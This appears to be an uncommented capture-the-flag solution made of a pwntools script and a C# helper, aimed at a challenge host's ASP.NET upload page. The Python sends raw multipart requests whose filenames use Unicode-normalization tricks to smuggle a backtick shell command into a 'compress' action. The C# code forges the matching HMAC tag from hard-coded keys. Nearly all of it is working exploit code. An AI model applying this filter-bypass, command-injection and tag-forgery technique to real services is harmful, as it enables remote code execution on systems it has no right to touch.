from pwn import *

def upload(filename):
    p = remote('dream.chal.ctf.westerns.tokyo', 80)
    payload = u'''POST /upload.aspx HTTP/1.1
Host: dream.chal.ctf.westerns.tokyo
Connection: keep-alive
Content-Length: 1700
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dream.chal.ctf.westerns.tokyo
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryZiSaf9FJ6PtAeIM5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dream.chal.ctf.westerns.tokyo/upload.aspx
Accept-Encoding: gzip, deflate
Accept-Language: ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7
Cookie: ASP.NET_SessionId=AEDE0033A82E6358B8C052CA

------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="__VIEWSTATE"

/wEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALMwDjJWVIJvIW8qNp8fjXqX3h5GVcJ5o5Yra9F5KfHb
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="file1"; filename="test"
Content-Type: application/octet-stream

/get_flag2
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="filename1"

{}
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="button1"

Upload
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="uploadedFilename"

------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="uploadedFilenameTag"

xvvJTvo9RYTqWsgJMNLZLiEwoJ4eF5uR/hCW+FgYp6Y=
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5
Content-Disposition: form-data; name="__EVENTVALIDATION"

/wEdAAEAAAD/////AQAAAAAAAAAPAQAAAAUAAAAIyd/IalikKYp4o/TJEB6bjEPD+b8LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOTyO0VpwYzoHI+eXiWfAGvnzmaoGBHm77uPr8qGQH1E
------WebKitFormBoundaryZiSaf9FJ6PtAeIM5--'''.format(filename).replace('\n', '\r\n') + ' '*100
    p.send(payload)
    p.interactive()
    
def compress(filename, tag):
    p = remote('dream.chal.ctf.westerns.tokyo', 80)
    payload = u'''POST /upload.aspx HTTP/1.1
Host: dream.chal.ctf.westerns.tokyo
Connection: keep-alive
Content-Length: 1730
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://dream.chal.ctf.westerns.tokyo
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycTTUhLx8GPsIrRrB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://dream.chal.ctf.westerns.tokyo/upload.aspx
Accept-Encoding: gzip, deflate
Accept-Language: ko,en-US;q=0.9,en;q=0.8,ko-KR;q=0.7
Cookie: ASP.NET_SessionId=AEDE0033A82E6358B8C052CA

------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="__VIEWSTATE"

/wEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALMwDjJWVIJvIW8qNp8fjXqX3h5GVcJ5o5Yra9F5KfHb
------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="file1"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="filename1"

test
------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="uploadedFilename"

{filename}
------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="uploadedFilenameTag"

{tag}
------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="button2"

Compress
------WebKitFormBoundarycTTUhLx8GPsIrRrB
Content-Disposition: form-data; name="__EVENTVALIDATION"

/wEdAAEAAAD/////AQAAAAAAAAAPAQAAAAUAAAAIyd/IalikKYp4o/TJEB6bjEPD+b8LAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOTyO0VpwYzoHI+eXiWfAGvnzmaoGBHm77uPr8qGQH1E
------WebKitFormBoundarycTTUhLx8GPsIrRrB--'''.format(filename=filename, tag=tag).replace('\n', '\r\n') + ' '*100
    p.send(payload)
    p.interactive()

upload("\u0338a")
upload("\u1FEFsh\u226Ea\u226Fb\u1FEF")
compress("`sh<\u0338a>\u0338b`", "u15vKcAnJTc0p2SSfYLqs7XQzuSZfIj+uikBQ2S7lmc=")

using System;
using System.Configuration;
using System.Diagnostics;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Collections.Generic;
using System.Linq;
using System.Text.RegularExpressions;

namespace Rextester
{

    public class Program
    {
        public static void Main(string[] args)
        {
			Console.WriteLine("\u1FEFsh<\u0338a>\u0338b\u1FEF");
            Console.WriteLine(GenerateHmac("\u1FEFsh<\u0338a>\u0338b\u1FEF"));
        }

        private static string keyEncryptionKeyHex =
            "aabad0f0a8fefae3eb8b032ab0c99627";

        private static int HexdigitToInteger(char c)
        {
            if ('0' <= c && c <= '9')
                return c - '0';
            else if ('a' <= c && c <= 'f')
                return c - 'a' + 10;
            else if ('A' <= c && c <= 'F')
                return c - 'A' + 10;
            else
                throw new ArgumentException("Invalid hex");
        }

        private static char IntegerToHexdigit(int x)
        {
            if (x < 0 || x >= 16)
                throw new ArgumentException("Out of range");
            else
                return "0123456789abcdef"[x];
        }

        private static byte[] HexToBytes(string hex)
        {
            if (hex.Length % 2 != 0) {
                throw new ArgumentException("Invalid hex");
            }
            byte[] result = new byte[hex.Length / 2];
            for (int i = 0; i < result.Length; i++) {
                result[i] = (byte)((HexdigitToInteger(hex[i * 2]) << 4) |
                                HexdigitToInteger(hex[i * 2 + 1]));
            }
            return result;
        }

        private static string BytesToHex(byte[] data)
        {
            var result = new StringBuilder();
            foreach (var b in data) {
                result.Append(IntegerToHexdigit(b >> 4));
                result.Append(IntegerToHexdigit(b & 0xf));
            }
            return result.ToString();
        }

        protected static byte[] DecryptKey(byte[] encryptedKey)
        {
            var keyEncryptionKey = HexToBytes(keyEncryptionKeyHex);
            using (var aes = new AesManaged()) {
                aes.BlockSize = 128;
                aes.KeySize = 128;
                aes.Mode = CipherMode.ECB;
                aes.Padding = PaddingMode.None;
                aes.Key = keyEncryptionKey;
                using (var decryptor = aes.CreateDecryptor()) {
                    return decryptor.TransformFinalBlock(encryptedKey, 0, 16);
                }
            }
        }

        protected static string GenerateHmac(string data)
        {
            var encryptedHmacKeyHex = "5af42f71a1b864b7d2093336013508f8";
            var encryptedHmacKey = HexToBytes(encryptedHmacKeyHex);
            var hmacKey = DecryptKey(encryptedHmacKey);

            var dataBytes = Encoding.UTF8.GetBytes(data);
            using (var hmac = new HMACSHA256(hmacKey))
            {
                var tagBytes = hmac.ComputeHash(dataBytes);
                var tagString = Convert.ToBase64String(tagBytes);
                return tagString;
            }
        }
    }
}